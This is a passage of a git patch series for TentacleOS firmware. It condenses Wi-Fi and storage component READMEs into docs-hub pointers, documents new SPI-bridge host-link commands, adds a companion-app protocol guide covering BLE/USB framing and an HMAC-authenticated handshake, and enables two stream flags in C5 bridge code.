-Recursively removes a directory and all its contents. - ---- - -#### `vfs_opendir` / `vfs_readdir` / `vfs_closedir` - -```c -vfs_dir_t vfs_opendir(const char *path); -esp_err_t vfs_readdir(vfs_dir_t dir, vfs_stat_t *entry); -esp_err_t vfs_closedir(vfs_dir_t dir); -``` - -Directory traversal using iterator pattern. - ---- - -#### `vfs_list_dir` - -```c -typedef void (*vfs_dir_callback_t)(const vfs_stat_t *entry, void *user_data); -esp_err_t vfs_list_dir(const char *path, vfs_dir_callback_t callback, void *user_data); -``` - -Lists directory contents using callback. - ---- - -### Filesystem Information - -#### `vfs_statvfs` - -```c -esp_err_t vfs_statvfs(const char *path, vfs_statvfs_t *stat); -``` - -Gets filesystem statistics. - ---- - -#### `vfs_get_free_space` - -```c -esp_err_t vfs_get_free_space(const char *path, uint64_t *free_bytes); -``` - -Gets available free space. - ---- - -#### `vfs_get_usage_percent` - -```c -esp_err_t vfs_get_usage_percent(const char *path, float *percentage); -``` - -Calculates filesystem usage percentage. - ---- - -### High-Level Helpers - -These functions simplify common operations by handling open/close internally. - -#### `vfs_read_file` - -```c -esp_err_t vfs_read_file(const char *path, void *buf, size_t size, size_t *bytes_read); -``` - -Reads entire file content in one operation. - ---- - -#### `vfs_write_file` - -```c -esp_err_t vfs_write_file(const char *path, const void *buf, size_t size); -``` - -Writes data to file, creating or overwriting it. - ---- - -#### `vfs_append_file` - -```c -esp_err_t vfs_append_file(const char *path, const void *buf, size_t size); -``` - -Appends data to end of file. - ---- - -#### `vfs_copy_file` - -```c -esp_err_t vfs_copy_file(const char *src, const char *dst); -``` - -Copies a file. - ---- - -## Backend-Specific APIs - -### SD Card Backend - -```c -#include "vfs_sdcard.h" - -esp_err_t vfs_sdcard_init(void); -esp_err_t vfs_sdcard_deinit(void); -bool vfs_sdcard_is_mounted(void); -void vfs_sdcard_print_info(void); -esp_err_t vfs_sdcard_format(void); -``` - -### LittleFS Backend - -```c -#include "vfs_littlefs.h" - -esp_err_t vfs_littlefs_init(void); -esp_err_t vfs_littlefs_deinit(void); -bool vfs_littlefs_is_mounted(void); -void vfs_littlefs_print_info(void); -esp_err_t vfs_littlefs_format(void); -``` - ---- - -## Switching Backends - -To switch between storage backends, edit `vfs_config.h`: - -```c -// From SD Card: -#define VFS_USE_SD_CARD - -// To LittleFS: -// #define VFS_USE_SD_CARD -#define VFS_USE_LITTLEFS -``` - -Rebuild your project. All `vfs_*` function calls remain the same. - ---- +Documentation for this component lives in the project docs hub (single source of truth): -## Best Practices +- [docs/storage_vfs/p4.md](../../../../docs/storage_vfs/p4.md) -1. **Consider Storage API first** - Use VFS only when you need low-level control -2. **Always check return values** - Especially for `vfs_open()` and `vfs_init_auto()` -3. **Close file descriptors** - Always call `vfs_close()` when done -4. **Use absolute paths** - Include mount point (e.g., "/sdcard/file.txt") -5. **Single backend only** - Never uncomment multiple backends in `vfs_config.h` \ No newline at end of file +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/wifi/README.md b/firmware_p4/components/Service/wifi/README.md index ac6b1bae4..da6e1d2a0 100644 --- a/firmware_p4/components/Service/wifi/README.md +++ b/firmware_p4/components/Service/wifi/README.md @@ -1,186 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/wifi/p4.md`](../../../../docs/wifi/p4.md). - # Wi-Fi Service Component Documentation -This component manages Wi-Fi functionalities including Access Point (AP) mode, Station (STA) mode, scanning, and configuration persistence using JSON files. - -## Functionality Overview - -The service handles: -- **Initialization/Deinitialization:** Setup of NVS, Netif, Event Loops, and Wi-Fi drivers. -- **Access Point (AP):** Configurable SSID, password, max connections, and custom IP address. -- **Scanning:** Active scanning for nearby networks. -- **Station (STA):** Connecting to external Wi-Fi networks. -- **Hotspot Management:** Dynamic switching of AP configuration. -- **Promiscuous Mode:** Low-level packet sniffing and environment monitoring. -- **Channel Hopping:** Automated cycling through Wi-Fi channels for environment monitoring. -- **Configuration Persistence:** AP/client settings loaded via `tos_config_load_all()` from SD (`config/wifi.conf`) with flash fallback (`/assets/config/wifi/wifi_ap.conf`). -- **Known Networks:** Automatically saves connected network credentials to `wifi/` on SD card. - -## API Functions - -### Initialization & Lifecycle - -#### `wifi_service_init` -```c -void wifi_service_init(void); -``` -Initializes the Wi-Fi stack in `APSTA` mode. -- Initializes NVS (performing erase if necessary). -- Sets up the default event loop and registers handlers. -- Loads AP configuration from storage (or uses defaults "Darth Maul"/"MyPassword123"). -- Configures the static IP (default: 192.168.4.1) and starts the DHCP server. - -#### `wifi_service_deinit` -```c -void wifi_service_deinit(void); -``` -Completely shuts down the Wi-Fi service. -- Stops the Wi-Fi driver. -- Unregisters event handlers. -- Deinitializes the driver. -- Frees synchronization primitives (mutexes) and clears static data. - -#### `wifi_service_start` / `wifi_service_stop` -```c -void wifi_service_start(void); -void wifi_service_stop(void); -``` -Simple wrappers to start or stop the Wi-Fi driver without full deinitialization. `wifi_service_stop` also clears stored scan results. - -### Scanning - -#### `wifi_service_scan` -```c -void wifi_service_scan(void); -``` -Performs an active Wi-Fi scan. -- Uses a mutex to ensure thread safety. -- Stores up to `WIFI_SCAN_LIST_SIZE` results internally. -- Provides visual feedback via LEDs (Green for AP connection, Red for failures, Blue for scan success). - -#### `wifi_service_get_ap_count` -```c -uint16_t wifi_service_get_ap_count(void); -``` -Returns the number of networks found in the last scan. - -#### `wifi_service_get_ap_record` -```c -wifi_ap_record_t* wifi_service_get_ap_record(uint16_t index); -``` -Retrieves a pointer to a specific scan result record. Returns `NULL` if the index is invalid. - -### Connection & Management - -#### `wifi_service_connect_to_ap` -```c -esp_err_t wifi_service_connect_to_ap(const char *ssid, const char *password); -``` -Connects the device (as a station) to an external Access Point. -- Configures authentication mode based on the presence of a password (WPA2_PSK or OPEN). -- Disconnects any existing connection before attempting a new one. -- **Persistence:** Automatically saves the SSID and password to `assets/storage/wifi/know_networks.json`. If the network already exists, the password is updated. - -#### `wifi_service_is_connected` -```c -bool wifi_service_is_connected(void); -``` -Returns `true` if the device is currently connected to an external Wi-Fi network and has an IP address. - -#### `wifi_service_is_active` -```c -bool wifi_service_is_active(void); -``` -Returns `true` if the Wi-Fi service is started (driver initialized and interface up). - -#### `wifi_service_get_connected_ssid` -```c -const char* wifi_service_get_connected_ssid(void); -``` -Returns the SSID of the currently connected network. Returns `NULL` if not connected. - -#### `wifi_service_change_to_hotspot` -```c -void wifi_service_change_to_hotspot(const char *new_ssid); -``` -Dynamically reconfigures the device's Access Point to an **Open** network with the specified SSID. -- Stops the Wi-Fi driver briefly to apply changes. -- Sets `authmode` to `WIFI_AUTH_OPEN`. -- Restarts Wi-Fi with the new configuration. - -### Promiscuous Mode - -#### `wifi_service_promiscuous_start` -```c -void wifi_service_promiscuous_start(wifi_promiscuous_cb_t cb, wifi_promiscuous_filter_t *filter); -``` -Enables promiscuous mode (sniffer) with a custom callback and filter. -- `cb`: Function to handle captured packets. -- `filter`: Filter mask (e.g., `WIFI_PROMIS_FILTER_MASK_MGMT`). - -#### `wifi_service_promiscuous_stop` -```c -void wifi_service_promiscuous_stop(void); -``` -Disables promiscuous mode and clears the callback. - -### Channel Hopping - -#### `wifi_service_start_channel_hopping` -```c -void wifi_service_start_channel_hopping(void); -``` -Starts a background task that cycles the Wi-Fi interface through channels 1 to 13. -- Useful for promiscuous mode applications (e.g., deauth detection). -- Task memory is allocated in PSRAM if available. - -#### `wifi_service_stop_channel_hopping` -```c -void wifi_service_stop_channel_hopping(void); -``` -Stops the channel hopping task and frees associated memory resources. - -### Configuration Storage - -#### `wifi_service_save_ap_config` -```c -esp_err_t wifi_service_save_ap_config(const char *ssid, const char *password, uint8_t max_conn, const char *ip_addr, bool enabled); -``` -Saves the AP configuration to a JSON file (`/assets/config/wifi/wifi_ap.conf`). -- Uses `cJSON` to serialize settings. -- Persists data using the storage API. -- **State Management:** If `enabled` is `true` and Wi-Fi is inactive, it calls `wifi_service_start()`. If `enabled` is `false` and Wi-Fi is active, it calls `wifi_service_stop()`. - -#### Individual Setters -Helper functions to update a single configuration parameter while preserving others. They automatically save the config and trigger state changes if `enabled` is toggled. - -```c -esp_err_t wifi_service_set_enabled(bool enabled); -esp_err_t wifi_service_set_ap_ssid(const char *ssid); -esp_err_t wifi_service_set_ap_password(const char *password); -esp_err_t wifi_service_set_ap_max_conn(uint8_t max_conn); -esp_err_t wifi_service_set_ap_ip(const char *ip_addr); -``` - -**Internal Loader:** `wifi_service_load_ap_config` is called during initialization to read these settings. If `enabled` is found to be `false` in the config, `wifi_service_init` will initialize the driver but **not** start the radio. - -## Internal Implementation Details - -### Event Handling -A static `wifi_event_handler` manages Wi-Fi and IP events: -- **WIFI_EVENT_AP_STACONNECTED:** Logs the MAC of the connected station and blinks Green. -- **WIFI_EVENT_AP_STADISCONNECTED:** Blinks Red. -- **IP_EVENT_AP_STAIPASSIGNED:** Logs IP assignment and blinks Green. - -### Thread Safety -A `wifi_mutex` (Semaphore) is used to protect the scanning process (`wifi_service_scan`), preventing concurrent scan requests which could lead to resource conflicts. +Documentation for this component lives in the project docs hub (single source of truth): -### Channel Hopping Task -The channel hopping feature runs as a static FreeRTOS task. It uses `esp_wifi_set_channel` to switch channels every 250ms. To optimize internal RAM usage, both the task stack and the Task Control Block (TCB) are allocated in **PSRAM** using the `SPIRAM` capability. +- [docs/wifi/p4.md](../../../../docs/wifi/p4.md) -### Castings & Memory Management -- **cJSON:** Used extensively for parsing and generating configuration files. -- **PSRAM Allocation:** Critical tasks and large buffers are allocated in PSRAM to preserve internal memory. -- **Type Casting:** `event_data` is cast to specific event structures (e.g., `wifi_event_ap_staconnected_t*`) within handlers. -- **String Handling:** `strncpy` is used safely with explicit null-termination to prevent buffer overflows when handling SSIDs and passwords. +This file is only a pointer: edit the docs there to keep things from drifting. From eeb77828c89caa217fb7eb59f73ce469558c8c47 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 8 Jun 2026 11:10:04 -0300 Subject: [PATCH 058/572] docs(spi-bridge): document host-link category 0x06 and SYSTEM_LOG op --- docs/spi_bridge/README.md | 1 + docs/spi_bridge/c5.md | 6 +++++- docs/spi_bridge/p4.md | 23 +++++++++++++++++++++++ 3 files changed, 29 insertions(+), 1 deletion(-) diff --git a/docs/spi_bridge/README.md b/docs/spi_bridge/README.md index c05de7358..83ae89f6a 100644 --- a/docs/spi_bridge/README.md +++ b/docs/spi_bridge/README.md @@ -103,6 +103,7 @@ alone; `op` selects the operation within it. | `SPI_CAT_LORA` | `0x03` | (lora) | | `SPI_CAT_MESH` | `0x04` | meshtastic (split BLE/WiFi transport) | | `SPI_CAT_MCORE` | `0x05` | meshcore → `bt_dispatcher` | +| `SPI_CAT_HOST` | `0x06` | companion host-link BLE relay → `bt_dispatcher` | | `SPI_CAT_SESSION` | `0xFF` | inline session handlers | In C, the `SPI_ID_*` constants stay single named values (e.g. diff --git a/docs/spi_bridge/c5.md b/docs/spi_bridge/c5.md index b3525aceb..98b44c3a2 100644 --- a/docs/spi_bridge/c5.md +++ b/docs/spi_bridge/c5.md @@ -30,14 +30,18 @@ The bridge then serves these items one by one when the P4 asks for them via the The `Category` header byte (`spi_cat_t`) selects the subsystem; the `Op` byte selects the operation within it. Together they pack into `spi_id_t` via `SPI_CMD(cat, op)`. -- `0x00`: System/Bridge management (ping, status, version, data, stream). +- `0x00`: System/Bridge management (ping, status, version, data, stream, log). - `0x01`: WiFi operations. - `0x02`: Bluetooth operations. - `0x03`: LoRa operations. - `0x04`: Meshtastic phone bridge. - `0x05`: MeshCore phone bridge. +- `0x06`: Companion host-link BLE relay (routed to `bt_dispatcher`). - `0xFF`: Session lifecycle (heartbeat, lost, stop). +`SPI_ID_SYSTEM_LOG` (`0x0007`) is a C5→P4 stream that forwards this chip's log +lines to the companion's C5 console. + ## Session Lifecycle (Long-Running Operations) For full design and migration recipe, see the diff --git a/docs/spi_bridge/p4.md b/docs/spi_bridge/p4.md index 47137e947..8b36c15ef 100644 --- a/docs/spi_bridge/p4.md +++ b/docs/spi_bridge/p4.md @@ -36,6 +36,16 @@ Every command's `spi_id_t` packs `Category` (high byte) and `Op` (low byte) via | `SPI_ID_SYSTEM_VERSION` | `0x04` | `0x0004` | | `SPI_ID_SYSTEM_DATA` | `0x05` | `0x0005` | | `SPI_ID_SYSTEM_STREAM` | `0x06` | `0x0006` | +| `SPI_ID_SYSTEM_LOG` | `0x07` | `0x0007` | + +`SPI_ID_SYSTEM_LOG` is a C5→P4 stream carrying log lines (`[level u8][utf-8]`) for +the companion's C5 console (see the host-link docs). + +System ops `0x40`-`0x49` (`FILE_*`, `SYSTEM_DEVICE_STATE`, `SYSTEM_CONSOLE_EXEC`, +`SYSTEM_GET_SETTINGS`, `SYSTEM_SET_SETTINGS`) are **P4-local host-link commands**: +they share the `spi_id_t` space so the companion app and P4 agree, but they are +handled on the P4 and **never travel over this SPI bridge**. They are documented +in [`../host_link/protocol.md`](../host_link/protocol.md). ### WiFi (`0x01`) @@ -178,6 +188,19 @@ Every command's `spi_id_t` packs `Category` (high byte) and `Op` (low byte) via | `SPI_ID_MCORE_RX_STREAM` | `0x9B` | `0x059B` | | `SPI_ID_MCORE_STATUS` | `0x9C` | `0x059C` | +### Host Link (`0x06`) + +Companion BLE relay (the C5 owns the radio; the P4 owns crypto). The C5 routes +this category to `bt_dispatcher`. See [`../host_link/`](../host_link/README.md). + +| Command | Op | `spi_id_t` | Direction | +|---------|----|------------|-----------| +| `SPI_ID_HOST_BLE_INIT` | `0xA0` | `0x06A0` | P4→C5 cmd: start GATT + advertise | +| `SPI_ID_HOST_BLE_STOP` | `0xA1` | `0x06A1` | P4→C5 cmd: stop GATT | +| `SPI_ID_HOST_TX` | `0xA2` | `0x06A2` | P4→C5 push: device→app (BLE notify) | +| `SPI_ID_HOST_RX` | `0xA3` | `0x06A3` | C5→P4 stream: app→device (BLE write) | +| `SPI_ID_HOST_STATUS` | `0xA4` | `0x06A4` | P4→C5 cmd: poll BLE connection state | + ### Session (`0xFF`) | Command | Op | `spi_id_t` | From 6656cb007b408ab1159fd740752f08ef96ee8c48 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 8 Jun 2026 11:17:17 -0300 Subject: [PATCH 059/572] docs(host-link): add companion app implementation guide --- docs/README.md | 6 +- docs/host_link/README.md | 1 + docs/host_link/app-guide.md | 282 ++++++++++++++++++++++++++++++++++++ 3 files changed, 286 insertions(+), 3 deletions(-) create mode 100644 docs/host_link/app-guide.md diff --git a/docs/README.md b/docs/README.md index 3bbd9c8b5..47686c63a 100644 --- a/docs/README.md +++ b/docs/README.md @@ -7,8 +7,8 @@ cross-firmware features keep their overview in the directory's `README.md`. ## Featured -- [host_link/](host_link/README.md) - companion app link: overview + [protocol spec](host_link/protocol.md) + per-firmware refs -- [spi_bridge/](spi_bridge/README.md) - P4↔C5 SPI bridge: architecture + per-firmware refs +- [host_link/](host_link/README.md) - companion app link: overview, [app implementation guide](host_link/app-guide.md), [protocol spec](host_link/protocol.md), per-firmware refs +- [spi_bridge/](spi_bridge/README.md) - P4<->C5 SPI bridge: architecture + per-firmware refs ## All components @@ -23,7 +23,7 @@ cross-firmware features keep their overview in the directory's `README.md`. | `dns_server` | [README.md](dns_server/README.md) | | `esp_now` | [README.md](esp_now/README.md) | | `espnow_chat` | [README.md](espnow_chat/README.md) | -| `host_link` | [c5.md](host_link/c5.md) [p4.md](host_link/p4.md) [protocol.md](host_link/protocol.md) [README.md](host_link/README.md) | +| `host_link` | [app-guide.md](host_link/app-guide.md) [c5.md](host_link/c5.md) [p4.md](host_link/p4.md) [protocol.md](host_link/protocol.md) [README.md](host_link/README.md) | | `http_server` | [README.md](http_server/README.md) | | `lvgl_port` | [README.md](lvgl_port/README.md) | | `ota` | [README.md](ota/README.md) | diff --git a/docs/host_link/README.md b/docs/host_link/README.md index c8150ee6d..410eb9901 100644 --- a/docs/host_link/README.md +++ b/docs/host_link/README.md @@ -5,6 +5,7 @@ single cross-firmware view: how the pieces fit, who owns what, and where to look It deliberately does **not** repeat the per-file reference tables - those live in the component READMEs, and the byte-level wire format lives in the protocol spec. +- Companion app implementation guide: [`app-guide.md`](./app-guide.md) - Wire spec: [`protocol.md`](./protocol.md) - SPI bridge (P4↔C5 transport this rides on): [`../spi_bridge/README.md`](../spi_bridge/README.md) - P4 component reference: [`p4.md`](./p4.md) · in-tree: [`firmware_p4/.../host_link/README.md`](../../firmware_p4/components/Service/host_link/README.md) diff --git a/docs/host_link/app-guide.md b/docs/host_link/app-guide.md new file mode 100644 index 000000000..5322d38ca --- /dev/null +++ b/docs/host_link/app-guide.md @@ -0,0 +1,282 @@ +# Companion app implementation guide + +How a desktop/mobile companion app talks to a TentacleOS device. This is the +practical, app-side recipe: transports, the byte-level frame, the security +handshake, and how to issue commands / read streams / logs / files. + +The firmware owns the protocol; the app follows it. Pair this guide with: + +- [`protocol.md`](./protocol.md) - the formal wire contract. +- [`../spi_bridge/p4.md`](../spi_bridge/p4.md) - the full `category`/`op` command table. +- [`README.md`](./README.md) - cross-firmware overview. + +All multi-byte integers are **little-endian**. + +--- + +## 1. Transports + +The app speaks the **same framed byte protocol** over either transport. Pick one +connection; the device allows **only one companion session at a time**. + +### 1.1 USB (CDC-ACM) + +- The device enumerates as a composite USB device, **VID `0xCAFE` / PID `0x4001`**, + with a CDC-ACM interface labelled **"TentacleOS Companion"**. +- On Linux it shows up as `/dev/ttyACM*`; on macOS `/dev/cu.usbmodem*`; on Windows + a COM port. Open it **raw** (no line discipline, no echo, no newline translation): + it is a transparent binary pipe, not a text console. +- Baud rate is irrelevant (USB CDC ignores it). Write whole frames; read a byte + stream and reassemble (see §3). +- Note: this is the device's **native USB** port, separate from the USB-Serial-JTAG + used for `idf.py monitor`. + +### 1.2 BLE (GATT) + +The C5 advertises as **`Tentacle-XXXX`** (last 4 hex of its MAC). GATT service +(NUS-style), UUIDs (current values; treat as the contract for now): + +| Role | UUID | Properties | +|------|------|------------| +| Service | `6e540001-b5a3-f393-e0a9-e50e24dcca9e` | primary | +| RX (app → device) | `6e540002-b5a3-f393-e0a9-e50e24dcca9e` | write / write-no-response | +| TX (device → app) | `6e540003-b5a3-f393-e0a9-e50e24dcca9e` | notify (subscribe via CCCD) | + +- Negotiate the largest MTU you can (the device prefers 512). +- **App → device:** write frames to RX. A single write must not exceed + `min(MTU-3, 512)` bytes; split larger frames across consecutive writes (order is + preserved, the device reassembles the byte stream). +- **Device → app:** subscribe to TX notifications. A frame larger than `MTU-3` is + split across multiple notifications; concatenate notification payloads and + reassemble by frame length (see §3). +- Bonding is "just works" (LE Secure Connections, no passkey). BLE encryption is + defense-in-depth; the real auth is the host-link PSK envelope below. + +--- + +## 2. Frame envelope + +Every frame on either transport: + +| Offset | Size | Field | Notes | +|-------:|-----:|-------|-------| +| 0 | 2 | `MAGIC` | `0x48 0x42` ("HB") | +| 2 | 1 | `VER` | `1` | +| 3 | 1 | `FLAGS` | bit0 = authenticated; other bits 0 | +| 4 | 4 | `COUNTER` | u32 LE, per-direction monotonic | +| 8 | 2 | `LEN` | u16 LE, length of `BODY` | +| 10 | `LEN` | `BODY` | `[type u8][category u8][op u8][payload...]` | +| 10+LEN | 16 | `MAC` | present only if `FLAGS.bit0 == 1` | + +`MAC = HMAC-SHA256(K_dir, frame[2 .. 10+LEN])[:16]` - i.e. over `VER`, `FLAGS`, +`COUNTER`, `LEN`, and the whole `BODY` (everything except the 2 MAGIC bytes and +the MAC itself), truncated to the first 16 bytes. + +`BODY` types: + +| type | name | direction | payload | +|------|------|-----------|---------| +| `0x01` | `CMD` | app → device | command args | +| `0x02` | `RESP` | device → app | `[status u8][data...]` | +| `0x03` | `STREAM` | device → app | live data (see §6) | +| `0x04` | `LOG` | device → app | `[source u8][level u8][utf-8 text]` | +| `0x10` | `HELLO` | app → device | handshake (unauthenticated) | +| `0x11` | `HELLO_ACK` | device → app | handshake (unauthenticated) | + +`category`/`op` are the same ids the firmware uses internally +(`spi_id_t = (category << 8) | op`). Full table: [`../spi_bridge/p4.md`](../spi_bridge/p4.md). + +--- + +## 3. Reassembly (RX byte stream) + +Both transports deliver bytes that may split or coalesce frames. Buffer and parse: + +``` +loop: + resync: drop bytes until buffer starts with 48 42 + if buffered < 10: wait for more + LEN = u16le(buf[8:10]) + auth = buf[3] & 1 + total = 10 + LEN + (auth ? 16 : 0) + if buffered < total: wait for more + handle(buf[0:total]); remove those bytes +``` + +--- + +## 4. Pairing & handshake (do this on every connect) + +### 4.1 Get the PSK (once per device) + +The device shows a **32-byte PSK** as a QR code + hex on its screen +(Settings -> PAIRING), or prints it on the dev console with `hostlink psk`. The +app reads/types it once and stores it in the OS keystore (Keychain / Credential +Manager / libsecret). The QR/hex encodes the 64-char lowercase hex of the PSK. + +### 4.2 Handshake frames + +1. **App -> device `HELLO`** (unauthenticated, `FLAGS=0`, no MAC). BODY: + `[type=0x10][cat=0x00][op=0x00][host_ver=0x01][client_nonce[16]]` + (`client_nonce` = 16 random bytes). `LEN = 20`. + +2. **Device -> app `HELLO_ACK`** (unauthenticated). BODY: + `[type=0x11][cat=0x00][op=0x00][host_ver=0x01][server_nonce[16]][device_id[6]][mac_psk[16]]`. + - `device_id` = the device's 6-byte base MAC. + - Verify `mac_psk == HMAC-SHA256(PSK, client_nonce || server_nonce)[:16]`. If it + doesn't match, the device doesn't hold your PSK - abort. + +3. **Both derive per-direction keys** (HKDF-SHA256, standard extract+expand): + ``` + salt = client_nonce || server_nonce # 32 bytes + K_a2d = HKDF-SHA256(ikm=PSK, salt=salt, info="tos-host-a2d", L=32) # app -> device + K_d2a = HKDF-SHA256(ikm=PSK, salt=salt, info="tos-host-d2a", L=32) # device -> app + ``` + The `info` labels are exactly those 12 ASCII bytes (no NUL terminator). + +4. **Reset counters.** Use a fresh monotonic counter per direction for this + session. The app signs every app->device frame with `K_a2d`; it verifies every + device->app frame with `K_d2a`. + +After the handshake, **all** frames are authenticated (`FLAGS.bit0 = 1`, MAC +appended). The device rejects (drops + logs) any non-`HELLO` frame that fails the +MAC or counter check. + +--- + +## 5. Authenticated frames, counters, replay + +- Set `FLAGS = 0x01`, fill `COUNTER`, build `BODY`, then append + `MAC = HMAC-SHA256(K_dir, frame[2 .. 10+LEN])[:16]`. +- **App -> device:** sign with `K_a2d`. Use a counter that **strictly increases** + every frame. Starting at `0` (and incrementing) is fine; the device accepts the + first authenticated frame at any value and then requires each next one to be + greater. +- **Device -> app:** verify with `K_d2a` and check the counter strictly increases. + The first authenticated device frame uses `COUNTER = 1` (the `HELLO_ACK` consumed + `0`). Drop any frame whose MAC fails or whose counter is `<=` the last accepted. +- Reconnecting (or the link dropping) invalidates the session: redo the handshake. + +--- + +## 6. Commands and responses + +``` +app -> CMD : BODY = [0x01][category][op][args...] (authenticated) +device -> RESP: BODY = [0x02][category][op][status u8][data...] +``` + +`status` (`spi_status_t`): `0` OK, `1` BUSY, `2` ERROR, `3` UNSUPPORTED, +`4` INVALID_ARG. The device echoes the same `category`/`op` in the `RESP`. + +Example - **WiFi scan** (`category=0x01`, `op=0x10`), no args, authenticated, app +counter `5`: + +``` +48 42 01 01 05 00 00 00 03 00 header: MAGIC,VER,FLAGS=auth,COUNTER=5,LEN=3 +01 01 10 body: type=CMD, cat=0x01, op=0x10 +<16-byte MAC over bytes [2..13)> +``` + +List results (scan tables, etc.) are pulled with the generic data pipe +`SPI_ID_SYSTEM_DATA` (`category=0x00`, `op=0x05`): index `0xFFFF` returns the +count, `0..N-1` returns one item. See [`../spi_bridge/p4.md`](../spi_bridge/p4.md). + +--- + +## 7. Streaming (sniffers, monitors) + +Long-running ops push data instead of being polled: + +``` +app -> CMD category/op of the op (e.g. WiFi sniffer 0x01/0x25), args +device -> RESP status=OK + data = [session_id u32] +device -> STREAM (pushed) BODY = [0x03][category][op][record bytes] # repeated +app -> CMD SESSION_HEARTBEAT (0xFF/0xF0) every ~2 s -> RESP [alive u8] +app -> CMD SESSION_STOP (0xFF/0xF2) to end +``` + +- Keep sending the heartbeat: if the app goes silent for ~6 s (or the link drops), + the device tears the session down. If the device ends it first (error/timeout), + it pushes a `STREAM` with `category=0xFF op=0xF1` (session lost) and an empty + payload. +- For the WiFi sniffer the `STREAM` record payload is + `[rssi i8][channel u8][len u8][802.11 frame bytes]` - build your pcap/pcapng + from `frame` (use `rssi`/`channel` for the radiotap header). +- Backpressure is handled device-side; just drain notifications/reads promptly. + +--- + +## 8. Logs and the two consoles + +The device pushes `LOG` frames: `BODY = [0x04][cat=0][op=0][source u8][level u8][utf-8 text]`. + +- `source`: `0` = P4, `1` = C5 -> render two separate consoles. +- `level`: `0` ERROR, `1` WARN, `2` INFO, `3` DEBUG, `4` VERBOSE (colorize/filter). +- ANSI codes are already stripped. Logs always flow over USB; over BLE they are + gated by the `log_over_ble` toggle (§10). + +**Run a console line:** `CMD category=0x00 op=0x47` (`SYSTEM_CONSOLE_EXEC`) with +the raw command line as the payload. The command's stdout comes back as `LOG` +frames (`source=P4`); the `RESP` just confirms acceptance. Gated by the +`console_exec` toggle. + +--- + +## 9. File transfer (P4-local) + +All file ops are `category=0x00`; they run on the P4 and never touch the C5. +Paths are sandboxed to `/assets`, `/littlefs`, `/sdcard` (no `..`). Chunk size cap +is 1024 bytes. + +| op | id | request payload | response data | +|----|----|-----------------|---------------| +| `FILE_LIST` | `0x40` | `` | `[count u16]` then entries `[is_dir u8][size u32][nlen u8][name]` | +| `FILE_STAT` | `0x41` | `` | `[exists u8][is_dir u8][size u32]` | +| `FILE_READ` | `0x42` | `[offset u32][len u16]` | file bytes (0 bytes = EOF) | +| `FILE_WRITE` | `0x43` | `[offset u32][flags u8][path_len u16]` | `[written u32]` | +| `FILE_DELETE` | `0x44` | `` | (empty) | +| `FILE_MKDIR` | `0x45` | `` | (empty) | + +`FILE_WRITE` `flags` bit0 = create/truncate (start a fresh file); otherwise the +data is written in place at `offset` (file created if absent). Download = repeated +`FILE_READ` with advancing `offset` until a short/empty read; upload = repeated +`FILE_WRITE`. + +--- + +## 10. Device state and settings + +- **Device state:** `CMD category=0x00 op=0x46` (`SYSTEM_DEVICE_STATE`) -> + `[battery_pct u8][charging u8][app_connected u8][p4_len u8][p4_ver][c5_len u8][c5_ver]`. +- **Read settings:** `op=0x48` (`GET_SETTINGS`) -> `[console_exec u8][log_over_ble u8]`. +- **Write settings:** `op=0x49` (`SET_SETTINGS`) with `[console_exec u8][log_over_ble u8]`. + Both default to on. `console_exec=0` disables raw console exec (structured + commands still work); `log_over_ble=0` stops background logs over BLE (USB always + carries logs; console-exec output is always delivered). +- Version check: `op=0x04` (`SYSTEM_VERSION`) returns the C5 version string; the + device-state frame carries both P4 and C5 versions. + +--- + +## 11. Connect sequence (summary) + +1. Open the transport (USB serial or BLE GATT + subscribe to TX notify). +2. `HELLO` -> `HELLO_ACK`; verify `mac_psk`; derive `K_a2d`/`K_d2a`; reset counters. +3. Read `SYSTEM_DEVICE_STATE` / `SYSTEM_VERSION`; check firmware compatibility. +4. Issue authenticated `CMD`s; handle `RESP`, `STREAM`, and `LOG` frames as they + arrive. Heartbeat any active streaming session every ~2 s. +5. On disconnect, discard the session keys; a reconnect starts a fresh handshake. + +--- + +## 12. Crypto checklist (must match the firmware exactly) + +- HMAC-SHA256, truncated to the **first 16 bytes**. +- HKDF-SHA256 (RFC 5869 extract+expand), `ikm = PSK`, + `salt = client_nonce || server_nonce`, `info` = `"tos-host-a2d"` / `"tos-host-d2a"`, + output length 32. +- `mac_psk` and per-frame `MAC` are both HMAC-SHA256 truncated to 16 B; the + per-frame MAC input is `frame[2 .. 10+LEN]` (header-after-MAGIC plus BODY). +- Verify MACs in constant time. Never log or persist the PSK or session keys in + plaintext. From ec2023a61deb12d8ce6b5423159b123875847ff4 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 8 Jun 2026 13:48:03 -0300 Subject: [PATCH 060/572] fix(host-link): enable HOST_RX/SYSTEM_LOG streams on C5 and claim BLE session on first frame --- .../components/Service/spi_bridge/spi_bridge.c | 10 ++++++++++ .../components/Service/host_link/host_link_ble.c | 11 ++++++++++- .../Service/host_link/include/host_link_ble.h | 3 +++ 3 files changed, 23 insertions(+), 1 deletion(-) diff --git a/firmware_c5/components/Service/spi_bridge/spi_bridge.c b/firmware_c5/components/Service/spi_bridge/spi_bridge.c index 30319eced..dfae48d72 100644 --- a/firmware_c5/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_c5/components/Service/spi_bridge/spi_bridge.c @@ -64,6 +64,8 @@ static bool s_is_wifi_sniffer_streaming = false; static bool s_is_bt_sniffer_streaming = false; static bool s_is_mesh_toradio_streaming = false; static bool s_is_mcore_rx_streaming = false; +static bool s_is_host_rx_streaming = false; +static bool s_is_system_log_streaming = false; static portMUX_TYPE s_stream_mux = portMUX_INITIALIZER_UNLOCKED; static volatile bool s_is_restart_pending = false; static char s_firmware_version[SPI_FW_VERSION_LEN] = "unknown"; @@ -99,6 +101,10 @@ bool spi_bridge_stream_is_enabled(spi_id_t id) { return s_is_mesh_toradio_streaming; if (id == SPI_ID_MCORE_RX_STREAM) return s_is_mcore_rx_streaming; + if (id == SPI_ID_HOST_RX) + return s_is_host_rx_streaming; + if (id == SPI_ID_SYSTEM_LOG) + return s_is_system_log_streaming; return false; } @@ -111,6 +117,10 @@ void spi_bridge_stream_enable(spi_id_t id, bool enable) { s_is_mesh_toradio_streaming = enable; if (id == SPI_ID_MCORE_RX_STREAM) s_is_mcore_rx_streaming = enable; + if (id == SPI_ID_HOST_RX) + s_is_host_rx_streaming = enable; + if (id == SPI_ID_SYSTEM_LOG) + s_is_system_log_streaming = enable; } bool 